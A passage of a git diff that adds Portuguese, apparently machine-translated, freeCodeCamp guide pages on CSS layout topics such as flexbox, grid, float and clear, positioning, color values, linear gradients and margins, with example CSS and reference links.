+![efeito de flex-base no eixo horizontal](https://vijayabharathib.github.io/fcc_guide_images/css/properties/flex-basis-horizontal.png)
+
+Quando a `flex-direction` do `flex-direction` é a `column` , a mesma `flex-basis` controlará a propriedade `height` . Um exemplo abaixo
+
+![exemplo de base flexível de controle de altura em um recipiente vertical](https://vijayabharathib.github.io/fcc_guide_images/css/properties/flex-basis-vertical.png)
+
+#### Mais Informações:
+
+Referências adicionais nas seguintes páginas:
+
+*   [Nível de](https://drafts.csswg.org/css-flexbox-1/) especificação CSS [1](https://drafts.csswg.org/css-flexbox-1/)
+*   Página da Mozilla Developer Network em [flex-base](https://developer.mozilla.org/en-US/docs/Web/CSS/flex-basis#content)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/layout/flexbox/flex-grow/index.md b/client/src/guide/portuguese/css/layout/flexbox/flex-grow/index.md
new file mode 100644
index 0000000000..b2aa445aa8
--- /dev/null
+++ b/client/src/guide/portuguese/css/layout/flexbox/flex-grow/index.md
@@ -0,0 +1,74 @@
+---
+title: Flex-grow
+localeTitle: Flex-grow
+---
+# Flex-Grow
+
+A propriedade flex-grow é uma propriedade flexbox que permite especificar a alocação de espaço livre para contêineres dentro de um contêiner flexível. Ele fornece uma solução para todo esse espaço indesejado!
+
+Isso vai transformar seu contêiner
+
+![](https://i.imgur.com/lFJaBUfh.png)
+
+# **para isso**
+
+![](https://i.imgur.com/4X8ITZih.png)
+
+O que acabou de acontecer?
+
+Bem, nós adicionamos duas coisas à sintaxe do css.
+
+HTML
+
+```html
+
+<p class = "ten">1</p> 
+ <p class = "twenty">2</p> 
+```
+
+CSS
+
+```css
+body { 
+  display:flex; 
+ } 
+ 
+ p { 
+  flex-grow: 1; 
+ } 
+```
+
+Duas coisas aconteceram
+
+1.  O contêiner pai foi convertido em um display flexível por `display:flex`
+2.  O "espaço livre" remanescente foi então alocado entre os p contentores remanescentes em uma razão igual, já que cada um possui uma propriedade flex-grow de 1.
+
+O que acontece se tivermos contêineres p com diferentes propriedades flex-grow?
+
+Vamos ver um exemplo.
+
+Primeiro vamos criar dois parágrafos e ativar a exibição: flex;
+
+![](https://i.imgur.com/wPqUgsih.png)
+
+Observe algumas coisas
+
+*   O esquema de cores é bom
+*   Há algum espaço vazio à direita das duas caixas.
+
+Esse espaço vazio é o "espaço livre" que será alocado para cada um dos diferentes parágrafos posteriormente, dependendo de suas propriedades flex-grow.
+
+Para ver isso em ação, vamos dar ao primeiro uma classe de "dez" e uma propriedade de flex-grow de 1. Vamos também dar ao segundo uma classe de "vinte" e uma propriedade flex-grow de 2.
+
+![](https://i.imgur.com/7n0V1G4h.png)
+
+Observe algumas coisas
+
+1.  O tamanho do segundo não é o dobro do primeiro, apesar de ter uma propriedade flex-grow que é o dobro da primeira.
+2.  Todo o espaço está cheio. (Algumas margens foram adicionadas ao lado para permitir que ele seja visto com mais clareza.)
+
+À medida que redimensionamos a tela, também descobrimos que a primeira encolhe a duas vezes a velocidade da segunda.
+
+![](https://i.imgur.com/pa4grM8h.png)
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/layout/flexbox/flexbox-direction/index.md b/client/src/guide/portuguese/css/layout/flexbox/flexbox-direction/index.md
new file mode 100644
index 0000000000..405f9f02f2
--- /dev/null
+++ b/client/src/guide/portuguese/css/layout/flexbox/flexbox-direction/index.md
@@ -0,0 +1,33 @@
+---
+title: Flexbox Direction
+localeTitle: Direção do Flexbox
+---
+## Direção do Flexbox
+
+Agora que você sabe o que é o flexbox, é hora de saber como organizar o conteúdo em um contêiner flexível. Você pode definir isso via _flex-direction_
+
+Existem 4 maneiras de definir a direção flexível
+
+1.  Linha
+
+![](https://css-tricks.com/wp-content/uploads/2013/04/flex-direction2.svg)
+
+A direção flexível é definida como linha por padrão. Isso organiza todo o seu conteúdo em uma única linha **sem margens **.****
+
+2.  Linha reversa
+
+![](https://i-msdn.sec.s-msft.com/dynimg/IC681588.png)
+
+Isso inverte seu conteúdo na direção oposta. Originalmente estava indo da esquerda para a direita, agora está indo da direita para a esquerda.
+
+3.  coluna
+
+![](https://i-msdn.sec.s-msft.com/dynimg/IC681589.png)
+
+Isso organiza seu conteúdo em uma única coluna, de cima para baixo.
+
+4.  coluna reversa
+
+Isso organiza seu conteúdo em uma única coluna, de baixo para cima.
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/layout/flexbox/index.md b/client/src/guide/portuguese/css/layout/flexbox/index.md
new file mode 100644
index 0000000000..a20867210b
--- /dev/null
+++ b/client/src/guide/portuguese/css/layout/flexbox/index.md
@@ -0,0 +1,26 @@
+---
+title: Flexbox
+localeTitle: flexbox
+---
+## Flexbox
+
+Flexbox é uma nova maneira de estruturar conteúdo em CSS3. Ele fornece uma maneira maravilhosa de criar websites responsivos que funcionam bem em diferentes tamanhos de tela e conteúdo de pedidos.
+
+Existem 3 etapas simples para usar o flexbox.
+
+1.  Converter contêiner pai em um contêiner flexível usando _display: flex;_ na seção css
+2.  Ajuste o arranjo de recipientes diferentes usando _flex-direction_
+3.  Ajuste itens individuais usando propriedades como justificar o conteúdo, alinhar itens etc.
+
+O Flexbox Layout visa fornecer uma maneira mais eficiente de dispor, alinhar e distribuir o espaço entre os itens em um contêiner, mesmo quando seu tamanho é desconhecido e / ou dinâmico (assim, a palavra "flex"). é dar ao contêiner a capacidade de alterar a largura / altura de seus itens (e ordem) para melhor preencher o espaço disponível. ![flexUsage](https://cdn.css-tricks.com/wp-content/uploads/2011/08/flexbox.png)
+
+*   **eixo principal** : O eixo principal de um contêiner flexível é o eixo principal ao longo do qual os itens flexíveis são dispostos. Cuidado, não é necessariamente horizontal; isso depende da propriedade de flex-direction (veja abaixo).
+*   **início principal | main-end** Os itens flexíveis são colocados dentro do contêiner, começando da partida principal e indo para a extremidade principal.
+:*   **tamanho principal** : A largura ou altura de um item flexível, o que estiver na dimensão principal, é o tamanho principal do item. A propriedade de tamanho principal do item flexível é a propriedade 'width' ou 'height', o que estiver na dimensão principal.
+*   **eixo transversal** : O eixo perpendicular ao eixo principal é chamado de eixo transversal. Sua direção depende da direção do eixo principal.
+*   **cross-start | cross-end** : As linhas flexíveis são preenchidas com itens e colocadas no contêiner começando no lado de início cruzado do contêiner flexível e indo em direção ao lado da extremidade cruzada.
+*   **Tamanho cruzado** : a largura ou a altura de um item flexível, o que estiver na dimensão transversal, é o tamanho cruzado do item. A propriedade de tamanho cruzado é qualquer um de 'largura' ou 'altura' que esteja na dimensão transversal.
+
+#### Mais Informações:
+
+[Este é um ótimo artigo](https://medium.freecodecamp.org/an-animated-guide-to-flexbox-d280cf6afc35) para ler mais sobre o flexbox Este é um guia prático altamente recomendado que ilustra as diferentes propriedades flexíveis aplicadas ao contêiner flex e aos itens flexíveis: [https://css-tricks.com/snippets/css/a-guide-to-flexbox/](https://css-tricks.com/snippets/css/a-guide-to-flexbox/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/layout/float-and-clear/index.md b/client/src/guide/portuguese/css/layout/float-and-clear/index.md
new file mode 100644
index 0000000000..28f274efc6
--- /dev/null
+++ b/client/src/guide/portuguese/css/layout/float-and-clear/index.md
@@ -0,0 +1,71 @@
+---
+title: Float and Clear
+localeTitle: Flutuar e Limpar
+---
+## Flutuar e Limpar
+
+A propriedade `float` CSS especifica como um elemento deve flutuar.
+
+A propriedade `clear` CSS especifica quais elementos podem flutuar ao lado do elemento limpo e em qual lado.
+
+### A propriedade `float`
+
+A propriedade `float` é usada para posicionamento e layout em páginas da web.
+
+A propriedade `float` pode ter um dos seguintes valores:
+
+`left` - O elemento flutua à esquerda do contêiner `right` - o elemento flutua à direita do contêiner `none` - O elemento não flutua (será exibido exatamente onde ocorre no texto). Este é o padrão `inherit` - O elemento herda o valor float de seu pai Em seu uso mais simples, a propriedade `float` pode ser usada para envolver o texto em torno das imagens.
+
+#### Flutuar na Imagem:
+
+![float image for print layout](https://github.com/jamal-pb95/guides/blob/master/assets/css3-float-print-layout.png "css-tricks-float-img")
+```
+img { 
+    float: right; 
+ } 
+```
+
+Este exemplo especifica que uma imagem deve flutuar para a direita em uma página:
+
+![Float image for web layout](https://github.com/jamal-pb95/guides/blob/master/assets/css3-float-web-text-wrap.png "float img web")
+```
+img { 
+    float: left; 
+ } 
+```
+
+Este exemplo especifica que uma imagem deve flutuar à esquerda em uma página:
+```
+img { 
+    float: none; 
+ } 
+```
+
+No exemplo a seguir, a imagem será exibida exatamente onde ocorre no texto ( `float: none;` ):
+
+### A propriedade `clear`
+
+A propriedade `clear` especifica quais elementos podem flutuar ao lado do elemento limpo e de que lado.
+
+A propriedade `clear` pode ter um dos seguintes valores:
+
+`none` - permite elementos flutuantes em ambos os lados. Este é o padrão `left` - Nenhum elemento flutuante permitido no lado esquerdo `right` - Nenhum elemento flutuante permitido no lado direito `both` - Nenhum elemento flutuante permitido no lado esquerdo ou no lado direito `inherit` - O elemento herda o valor claro de seu pai A maneira mais comum de usar a propriedade `clear` é depois de você ter usado uma propriedade `float` em um elemento.
+
+Ao limpar os flutuadores, você deve combinar o `clear` para o `float` . Se um elemento estiver flutuando para a `left` , você deve `clear` para a `left` . Seu elemento `float` continuará a `float` , mas o elemento limpo aparecerá abaixo dele na página da web.
+
+#### Exemplo:
+
+![unclear footer image](https://github.com/jamal-pb95/guides/blob/master/assets/unclearedfooter.png "imagem de rodapé pouco clara") Fonte: CSS-TRICS
+```
+div { 
+    clear: left; 
+ } 
+```
+
+![clear footer image](https://github.com/jamal-pb95/guides/blob/master/assets/clearedfooter.png "imagem de rodapé claro") Fonte: CSS-TRICS
+
+### Recursos adicionais:
+
+*   CSS do MDN: [Float](https://developer.mozilla.org/en-US/docs/Web/CSS/float) & [Clear](https://developer.mozilla.org/en-US/docs/Web/CSS/clear)
+*   [Tutoriais do W3Schools](https://www.w3schools.com/css/css_float.asp)
+*   CSS-Tricks: [flutuar](https://css-tricks.com/all-about-floats/) e [limpar](https://css-tricks.com/almanac/properties/c/clear/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/layout/grid-layout/index.md b/client/src/guide/portuguese/css/layout/grid-layout/index.md
new file mode 100644
index 0000000000..249317acc8
--- /dev/null
+++ b/client/src/guide/portuguese/css/layout/grid-layout/index.md
@@ -0,0 +1,148 @@
+---
+title: Grid Layout
+localeTitle: Layout de grade
+---
+## Layout de grade
+
+CSS Grid Layout, simplesmente conhecido como Grid, é um esquema de layout que é o mais novo e o mais poderoso em CSS. Ele é [suportado por todos os principais navegadores](https://caniuse.com/#feat=css-grid) e fornece uma maneira de posicionar itens na página e movê-los.
+
+Pode atribuir automaticamente itens para _áreas,_ tamanho e redimensioná-las, cuidar da criação de colunas e linhas com base em um padrão que você definir, e fazer todos os cálculos usando o recém-introduzido `fr` unidade.
+
+### Por que grade?
+
+*   Você pode facilmente ter uma grade de 12 colunas com uma linha de CSS. `grid-template-columns: repeat(12, 1fr)`
+*   A grade permite que você mova as coisas em qualquer direção. Ao contrário do Flex, onde é possível mover itens horizontalmente ( `flex-direction: row` ) ou verticalmente ( `flex-direction: column` ) - não ambos ao mesmo tempo, o Grid permite mover qualquer _item de grade_ para qualquer _área de grade_ predefinida na página. Os itens que você move não precisam estar adjacentes.
+*   Com o CSS Grid, você pode **alterar a ordem dos elementos HTML usando apenas CSS** . Mova algo de cima para baixo, mova elementos que estavam no rodapé para a barra lateral etc. Em vez de mover o `<div>` de `<footer>` para `<aside>` no HTML, você pode apenas alterar seu posicionamento com `grid-area` no Folha de estilo CSS.
+
+### Grelha vs. Flex
+
+*   Flex é unidimensional - horizontal ou vertical, enquanto Grid é bidimensional, o que significa que você pode mover elementos em planos horizontais e verticais
+*   No Grid, aplicamos estilos de layout ao contêiner pai e não aos itens. O Flex, por outro lado, tem como alvo o item flexível para definir propriedades como `flex-basis` , `flex-grow` e `flex-shrink`
+*   Grid e Flex não são mutuamente exclusivos. Você pode usar os dois no mesmo projeto.
+
+### Verificando a compatibilidade do navegador com `@supports`
+
+Idealmente, quando você cria um site, você o cria com o Grid e usa o Flex como um substituto. Você pode descobrir se o seu navegador suporta a grade com a regra CSS `@support` (também conhecida como consulta de recurso). Aqui está um exemplo:
+
+```css
+.container { 
+  display: grid; /* display grid by default */ 
+ } 
+ 
+ @supports not (display: grid) { /* if grid is not supported by the browser */ 
+  .container { 
+    display: flex; /* display flex instead of grid */ 
+  } 
+ } 
+```
+
+### Começando
+
+Para tornar qualquer elemento uma grade, você precisa atribuir sua propriedade de `display` à `grid` , da seguinte forma:
+
+```css
+.conatiner { 
+  display: grid; 
+ } 
+```
+
+E é isso. Você acabou de fazer seu `.container` uma grade. Todo elemento dentro do `.container` se torna automaticamente um item de grade.
+
+### Definindo Modelos
+
+Linhas e colunas
+
+```css
+grid-template-columns: 1fr 1fr 1fr 1fr; 
+ grid-template-rows: auto 300px; 
+```
+
+Areas
+
+```css
+grid-template-areas: 
+  "aaaa" 
+  "bcde" 
+  "bcde" 
+  "ffff"; 
+```
+
+ou
+
+```css
+grid-template-areas: 
+  "header header header header" 
+  "nav main main sidebar"; 
+```
+
+### Áreas da grade
+
+Veja um exemplo de código sobre como definir e atribuir áreas de grade
+
+```css
+.site { 
+  display: grid; 
+  grid-template-areas: /* applied to grid container */ 
+    "head head" /* you're assigning cells to areas by giving the cells an area name */ 
+    "nav  main" /* how many values kind of depends on how many cells you have in the grid */ 
+    "nav  foot"; 
+ } 
+ 
+ .site > header { 
+  grid-area: head; 
+ } 
+ 
+ .site > nav { 
+  grid-area: nav; 
+ } 
+ 
+ .site > main { 
+    grid-area: main; 
+ } 
+ 
+ .site > footer { 
+    grid-area: foot; 
+ } 
+```
+
+### A unidade `fr`
+
+Grid introduz uma nova unidade `fr` , que significa _fração_ . A coisa boa sobre o uso da unidade `fr` é que ela cuida dos cálculos para você. Usar o `fr` evita problemas de margem e preenchimento. Com `%` e `em` etc., ele se torna uma equação matemática ao calcular o `grid-gap` . Se você usou `fr` unit, ele calculará automaticamente os tamanhos da coluna e da medianiz e ajustará o tamanho das colunas de acordo, além de não haver intervalos de sangramento no final.
+
+### Exemplos
+
+#### Alterando a ordem dos elementos com base no tamanho da tela
+
+Digamos que você queira mover o rodapé para baixo em pequenas telas e para a direita em telas maiores, e há um monte de outros elementos HTML entre os dois.
+
+A solução simples é alterar as `grid-template-areas` base no tamanho da tela. Você também pode **alterar o número de colunas e linhas com base no tamanho da tela** . Esta é uma alternativa muito mais limpa e simples ao sistema Grid do Bootstrap ( `col-xs-8 col-sm-6 col-md-4 col-lg-3` ).
+
+```css
+.site { 
+  display: grid; 
+  grid-template-columns: 1fr 1fr; 
+  grid-template-areas: 
+    "title title" 
+    "main header" 
+    "main sidebar" 
+ } 
+ 
+ @media screen and (min-width: 34em) { /* If the screen is big enough, use a different template for grid areas */ 
+  .site { 
+    grid-template-columns: 2fr 1fr 1fr; 
+    grid-template-areas: 
+      "title title title" 
+      "main header header" 
+      "main sidebar footer" 
+  } 
+ } 
+```
+
+Veja o Pen [CSS Grid pelo exemplo - 2 (grid areas + grid gap)](https://codepen.io/aamnah/pen/RLVVoE/) por Aamnah Akram ( [@aamnah](https://codepen.io/aamnah) ) no [CodePen](https://codepen.io) .
+
+#### Mais Informações:
+
+*   [CSS Grid Palyground by Mozilla](https://mozilladevelopers.github.io/playground/) Grande ponto de partida, se você é novo em CSS Grids. Tem recursos visuais para ajudá-lo a entender a terminologia facilmente
+*   [YouTube: Morten Rand-Hendriksen: A grade CSS muda tudo (sobre os layouts da Web)](https://www.youtube.com/watch?v=txZq7Laz7_4) Esta apresentação vai convencê-lo em menos de uma hora por que as CSS Grids são legais e por que / como você deve usá-las
+*   [Vídeos: Aprenda Grid Layout Video Series por Rachel Andrew](https://gridbyexample.com/video/) Rachel Andrew é considerado um especialista no assunto. Os títulos de vídeo podem parecer estranhos e esmagadores, mas o conteúdo é curto e direto ao ponto
+*   [Livro: Prepare-se para layout de grade CSS por Rachel Andrew](https://abookapart.com/products/get-ready-for-css-grid-layout)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/layout/index.md b/client/src/guide/portuguese/css/layout/index.md
new file mode 100644
index 0000000000..f08af0d337
--- /dev/null
+++ b/client/src/guide/portuguese/css/layout/index.md
@@ -0,0 +1,11 @@
+---
+title: Layout
+localeTitle: Layout
+---
+## Layout
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/css/layout/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/layout/inline-block/index.md b/client/src/guide/portuguese/css/layout/inline-block/index.md
new file mode 100644
index 0000000000..3ddaf302a9
--- /dev/null
+++ b/client/src/guide/portuguese/css/layout/inline-block/index.md
@@ -0,0 +1,11 @@
+---
+title: Inline Block
+localeTitle: Bloco Inline
+---
+## Bloco Inline
+
+Inline-block é um valor possível da propriedade de exibição. Elementos marcados como _inline-block_ se comportam como elementos inline ( _spans_ , por exemplo), mas podem ter largura e altura.
+
+#### Mais Informações:
+
+[Este é um ótimo artigo](https://css-tricks.com/almanac/properties/d/display/#inline-block) para ler mais sobre a criação de layouts com elementos de blocos embutidos.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/layout/the-position-property/index.md b/client/src/guide/portuguese/css/layout/the-position-property/index.md
new file mode 100644
index 0000000000..79ac42cd96
--- /dev/null
+++ b/client/src/guide/portuguese/css/layout/the-position-property/index.md
@@ -0,0 +1,19 @@
+---
+title: The Position Property
+localeTitle: A propriedade de posição
+---
+## A propriedade de posição
+
+A propriedade position especifica o tipo de método de posicionamento usado para um elemento (estático, relativo, fixo, absoluto ou pegajoso). A propriedade position especifica o tipo de método de posicionamento usado para um elemento. A propriedade de posição geralmente não é usada para criar layouts, mas é usada para posicionar elementos que de alguma forma se destacam do fluxo de páginas.
+
+Existem cinco valores de posição diferentes:
+
+*   estático
+*   relativo
+*   fixo
+*   absoluto
+*   pegajoso Os elementos são então posicionados usando as propriedades superior, inferior, esquerda e direita. No entanto, essas propriedades não funcionarão, a menos que a propriedade position seja definida primeiro. Eles também funcionam de maneira diferente dependendo do valor da posição.
+
+#### Mais Informações:
+
+[O é um bom artigo](https://www.w3schools.com/css/css_positioning.asp) para ler até entender mais sobre a propriedade de posição.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/legal-color-values/index.md b/client/src/guide/portuguese/css/legal-color-values/index.md
new file mode 100644
index 0000000000..72a2359e2f
--- /dev/null
+++ b/client/src/guide/portuguese/css/legal-color-values/index.md
@@ -0,0 +1,223 @@
+---
+title: Legal Color Values
+localeTitle: Valores Legais Legais
+---
+## Valores Legais Legais
+
+Cores em CSS podem ser especificadas nos seguintes formatos:
+
+*   [Hexadecimal](#hexadecimal-colors)
+*   [RGB](#rgb-colors)
+*   [RGBA](#rgba-colors)
+*   [HSL](#hsl-colors)
+*   [HSLA](#hsla-colors)
+*   [Nomes de cores predefinidos](#predefined-color-names)
+
+### Cores hexadecimais
+
+#### Suporte de Navegador
+
+Todos os principais navegadores suportam valores de cores hexadecimais.
+
+#### Formato
+
+Um valor hexadecimal é especificado como **#RRGGBB** , em que os inteiros hexadecimais RR (vermelho), GG (verde) e BB (azul) especificam os componentes da cor. Todos os valores devem estar entre 00 e FF. Como o nome sugere, a codificação está na base 16.
+
+#### Exemplo
+
+Aqui estão diferentes cores hexadecimais. Encontre o exemplo ao vivo em https://jsfiddle.net/qg9revp4/2/.
+
+```css
+#divRed{ 
+  color: #ff0000; /* red */ 
+ } 
+ 
+ #divGreen{ 
+  color: #00ff00; /* green */ 
+ } 
+ 
+ #divBlue{ 
+  color: #0000ff; /* blue */ 
+ } 
+ 
+ #divWhite{ 
+  color: #ffffff; /* white */ 
+  background: #000000; /* black background, so that the text is visible */ 
+ } 
+```
+
+### Cores RGB
+
+#### Suporte de Navegador
+
+Todos os principais navegadores suportam valores RGB.
+
+#### Formato
+
+Um valor RGB é especificado como **rgb (vermelho, verde, azul)** . Cada parâmetro (vermelho, verde e azul) define a intensidade da cor e pode ser um número inteiro entre 0 e 255.
+
+#### Exemplo
+
+Aqui estão diferentes cores RGB. Encontre o exemplo ao vivo em https://jsfiddle.net/vspepeth/1/.
+
+```css
+#divRed{ 
+  color: rgb(255, 0, 0); /* red */ 
+ } 
+ 
+ #divGreen{ 
+  color: rgb(0, 255, 0); /* green */ 
+ } 
+ 
+ #divBlue{ 
+  color: rgb(0, 0, 255); /* blue */ 
+ } 
+ 
+ #divWhite{ 
+  color: rgb(255, 255, 255); /* white */ 
+  background: rgb(0, 0, 0); /* black background, so that the text is visible */ 
+ } 
+```
+
+### Cores RGBA
+
+#### Suporte de Navegador
+
+Os valores de cores RGBA são suportados no IE9 +, no Firefox 3+, no Chrome, no Safari e no Opera 10+.
+
+#### Formato
+
+Um valor RGBA é especificado como **rgb (vermelho, verde, azul, alfa)** . Pense nisso como uma extensão para o formato RGB, com um canal alfa. O parâmetro alfa é um número entre 0,0 (totalmente transparente) e 1,0 (totalmente opaco). Os outros parâmetros (vermelho, verde e azul) definem a intensidade das cores e podem ser um número inteiro entre 0 e 255.
+
+#### Exemplo
+
+Aqui estão as diferentes cores RGBA. Encontre o exemplo ao vivo em https://jsfiddle.net/hq0ngwg2/1/.
+
+```css
+#divRed{ 
+  color: rgba(255, 0, 0, 0.3); /* red with opacity */ 
+ } 
+ 
+ #divGreen{ 
+  color: rgba(0, 255, 0, 0.7); /* green with opacity */ 
+ } 
+ 
+ #divBlue{ 
+  color: rgba(0, 0, 255, 0.5); /* blue with opacity */ 
+ } 
+ 
+ #divWhite{ 
+  color: rgba(255, 255, 255, 0.6); /* white with opacity */ 
+  background: rgba(0, 0, 0, 0.8); /* black background with opacity */ 
+ } 
+```
+
+### Cores HSL
+
+#### Suporte de Navegador
+
+Valores de cores HSL são suportados no IE9 +, Firefox, Chrome, Safari e no Opera 10+.
+
+#### Formato
+
+HSL significa matiz, saturação e leveza. Ele é especificado como **hsl (matiz, saturação, claridade)** .
+
+*   **Matiz** : É um grau na roda de cores (de 0 a 360). _0_ (ou _360_ ) é vermelho, _120_ é verde e _240_ é azul.
+    
+*   **Saturação** : é um valor percentual. _0%_ significa um tom de cinza e _100%_ é a cor total.
+    
+*   **Leveza** : também é um valor percentual. _0%_ é preto e _100%_ é branco.
+    
+
+#### Exemplo
+
+Abaixo estão as tabelas do [W3.org](https://www.w3.org/TR/css3-color/#hsl-color) . Cada tabela representa um matiz. Doze cores igualmente espaçadas (ou seja, a intervalos de 30 °) foram escolhidas a partir do círculo de cores. O eixo X de cada tabela representa a saturação (100%, 75%, 50%, 25%, 0%). O eixo Y representa a leveza. 50% é "normal".
+
+![Tabela HSL](https://image.ibb.co/ngq686/hsl.png)
+
+Encontre o exemplo ao vivo em https://jsfiddle.net/g10zpL28/1/.
+
+```css
+#div1 { 
+  background-color: hsl(240, 100%, 50%); /* blue */ 
+ } 
+ #div2 { 
+  background-color: hsl(195, 53%, 79%); /* light blue */ 
+ } 
+ #div3 { 
+  background-color: hsl(240, 100%, 25%); /* dark blue */ 
+ } 
+ #div4 { 
+  background-color: hsl(187, 75%, 86%); /* pastel blue */ 
+ } 
+```
+
+### Cores HSLA
+
+#### Suporte de Navegador
+
+Os valores de cores do HSLA são suportados no IE9 +, no Firefox 3+, no Chrome, no Safari e no Opera 10+.
+
+#### Formato
+
+HSLA significa matiz, saturação, leveza e canal alfa. É especificado como **hsla (matiz, saturação, luminosidade, alfa)** . O canal alfa especifica a opacidade da cor.
+
+*   **Matiz** : É um grau na roda de cores (de 0 a 360). _0_ (ou _360_ ) é vermelho, _120_ é verde e _240_ é azul.
+    
+*   **Saturação** : é um valor percentual. _0%_ significa um tom de cinza e _100%_ é a cor total.
+    
+*   **Leveza** : também é um valor percentual. _0%_ é preto e _100%_ é branco.
+    
+*   **Canal Alfa** : É um número entre 0.0 (totalmente transparente) e 1.0 (totalmente opaco).
+    
+
+#### Exemplo
+
+Abaixo estão exemplos de cores do HSLA. Veja-os ao vivo em https://jsfiddle.net/2Lxscgfy/1/.
+
+```css
+#div1 { 
+  background-color: hsla(240, 100%, 50%, 0.5); /* blue with transparency */ 
+ } 
+ #div2 { 
+  background-color: hsla(195, 53%, 79%, 0.8); /* light blue with transparency */ 
+ } 
+ #div3 { 
+  background-color: hsla(240, 100%, 25%, 0.3); /* dark blue with transparency */ 
+ } 
+ #div4 { 
+  background-color: hsla(187, 75%, 86%, 1.0); /* pastel blue with transparency */ 
+ } 
+```
+
+### Nomes de cores predefinidos
+
+#### Suporte de Navegador
+
+147 nomes de cores são predefinidos na especificação de cores CSS. Todos os navegadores modernos os suportam.
+
+#### Exemplo
+
+Abaixo estão alguns nomes de cores em uso. Confira o exemplo ao vivo em https://jsfiddle.net/rqygumpy/. Encontre a lista completa no [MDN Docs](https://developer.mozilla.org/en-US/docs/Web/CSS/color_value#Color_keywords) .
+
+```css
+#div1{ 
+  color: BlueViolet; 
+ } 
+ 
+ #div2{ 
+  color: RebeccaPurple; 
+ } 
+ 
+ #div3{ 
+  color: RoyalBlue; 
+ } 
+ 
+ #div4{ 
+  color: Salmon; 
+ } 
+```
+
+#### Mais Informações:
+
+[Docs Web MDN em cores CSS](https://developer.mozilla.org/en-US/docs/Web/CSS/color)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/linear-gradient/index.md b/client/src/guide/portuguese/css/linear-gradient/index.md
new file mode 100644
index 0000000000..57b42578d9
--- /dev/null
+++ b/client/src/guide/portuguese/css/linear-gradient/index.md
@@ -0,0 +1,91 @@
+---
+title: Linear Gradient
+localeTitle: Gradiente linear
+---
+## Gradiente linear
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/css/linear-gradient/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
+
+No Linear Gradient, as cores fluem em uma única direção, ou seja, da esquerda para a direita, de cima para baixo ou de qualquer ângulo que você escolher.
+
+![Um gradiente com duas paradas de cor](https://cdn.discordapp.com/attachments/261391445074771978/371707961422118912/image.png)
+
+**Um gradiente linear com duas paradas de cor**
+
+### Sintaxe-
+
+Para criar um gradiente linear, você deve definir pelo menos duas paradas de cor (elas são as cores nas quais as transições são criadas). Ela é declarada nas propriedades de **segundo** **plano** ou de **segundo plano** .
+```
+background: linear-gradient(direction, colour-stop1, colour-stop2, ...); 
+```
+
+**Nota: Se nenhuma direção for especificada, a transição é de cima para baixo por padrão**
+
+### Transições de gradiente diferentes
+
+**De cima para baixo:**
+```
+background: linear-gradient(red, yellow); 
+```
+
+![De cima para baixo](https://cdn.discordapp.com/attachments/261391445074771978/371702268803809301/image.png)
+
+**Esquerda para a direita :**
+
+Para torná-lo da esquerda para a direita, você adiciona um parâmetro adicional no início do gradiente linear () começando com a palavra **para a** qual indica a direção:
+```
+background: linear-gradient(to right, red , yellow); 
+```
+
+![Esquerda para a direita](https://cdn.discordapp.com/attachments/261391445074771978/371702990161051648/image.png)
+
+**Posições diagonais:**
+
+Você também pode fazer a transição de um gradiente diagonalmente, especificando as posições iniciais horizontais e verticais, por exemplo, superior esquerdo ou inferior direito.
+
+Aqui está uma amostra para um gradiente começando no canto superior esquerdo
+```
+ background: linear-gradient(to bottom right, red, yellow); 
+```
+
+![Canto superior esquerdo](https://cdn.discordapp.com/attachments/261391445074771978/371705382105776128/image.png)
+
+### Usando ângulos para especificar a direção do gradiente
+
+Você também pode usar ângulos, para ser mais preciso ao especificar a direção do gradiente:
+```
+background: linear-gradient(angle, colour-stop1, colour-stop2); 
+```
+
+O ângulo é especificado como um ângulo entre uma linha horizontal e a linha de gradiente.
+```
+background: linear-gradient(90deg, red, yellow); 
+```
+
+![90 graus](https://cdn.discordapp.com/attachments/261391445074771978/371710718698848256/image.png)
+
+### Usando mais de duas cores-
+
+Você não está limitado a apenas duas cores, você pode usar quantas cores separadas por vírgulas quiser.
+```
+background: linear-gradient(red, yellow, green); 
+```
+
+![Um gradiente com 3 pontos de cor](https://cdn.discordapp.com/attachments/261391445074771978/371706534591201281/image.png)
+
+Você também pode usar outras sintaxes de cores, como códigos RGB ou hexadecimais, para especificar as cores.
+
+### Cor dura pára-
+
+Você pode não apenas usar gradientes para fazer a transição com cores desbotadas, mas também pode usá-los para mudar de uma cor sólida para outra cor sólida instantaneamente.
+```
+background: linear-gradient(to right,red 15%, yellow 15%); 
+```
+
+![Pára de cor dura](https://cdn.discordapp.com/attachments/261391445074771978/371716730046775318/image.png)
+
+**Mais informações** [\- Gradiente linear no Mozilla Docs](https://developer.mozilla.org/en-US/docs/Web/CSS/linear-gradient)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/margins/index.md b/client/src/guide/portuguese/css/margins/index.md
new file mode 100644
index 0000000000..f654193de5
--- /dev/null
+++ b/client/src/guide/portuguese/css/margins/index.md
@@ -0,0 +1,60 @@
+---
+title: Margins
+localeTitle: Margens
+---
+# Margens
+
+A `margin` propriedade CSS define a área de margem em todos os quatro lados de um elemento. Essa propriedade pode ser usada para gerar espaço em torno do conteúdo (fora da borda). É uma forma abreviada de definir todas as margens individuais de uma vez: `margin-top` , `margin-right` , `margin-bottom` e `margin-left` . Os valores são definidos no sentido horário.
+
